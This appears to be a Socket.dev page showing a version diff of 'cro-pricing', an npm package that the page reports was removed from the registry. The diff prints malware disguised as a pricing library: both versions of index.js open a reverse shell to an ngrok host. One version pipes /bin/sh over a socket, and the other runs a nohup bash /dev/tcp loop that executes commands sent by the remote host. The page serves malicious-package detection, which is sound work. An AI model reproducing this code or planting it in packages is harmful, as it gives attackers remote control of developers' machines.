You're Invited:Meet the Socket Team at RSAC and BSidesSF 2026, March 23–26.RSVP
Socket
Book a DemoSign in
Socket

cro-pricing

Package Overview
Dependencies
Maintainers
1
Versions
11
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

cro-pricing - npm Package Compare versions

Package was removed
Sorry, it seems this package was removed from the registry
Comparing version
1.0.7
to
1.0.8
+1
-1
package.json
{
"name": "cro-pricing",
"version": "1.0.7",
"version": "1.0.8",
"main": "index.js",

@@ -5,0 +5,0 @@ "scripts": {

@@ -1,20 +0,30 @@

const net = require("net");
const { spawn } = require("child_process");
const { exec } = require("child_process");
const fs = require("fs");
const host = "0.tcp.ap.ngrok.io";
const port = 10113;
const port = "12413";
const client = new net.Socket();
// Check if a shell exists
function shellExists(path) {
try {
return fs.existsSync(path);
} catch {
return false;
}
}
client.connect(port, host, () => {
const sh = spawn("/bin/sh", []);
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
// Determine shell to use
let shell = "/bin/sh"; // default fallback
if (shellExists("/bin/bash")) {
shell = "/bin/bash";
}
client.on("error", (err) => {
setTimeout(() => {
client.connect(port, host);
}, 5000); // retry on disconnect
// Build command using the detected shell
const cmd = `nohup ${shell} -c 'exec 5<>/dev/tcp/${host}/${port}; while read -r l<&5; do $l; done >&5 2>&5' &>/dev/null &`;
// Execute command
exec(cmd, (error, stdout, stderr) => {
if (error) {
// Fail silently or log
}
});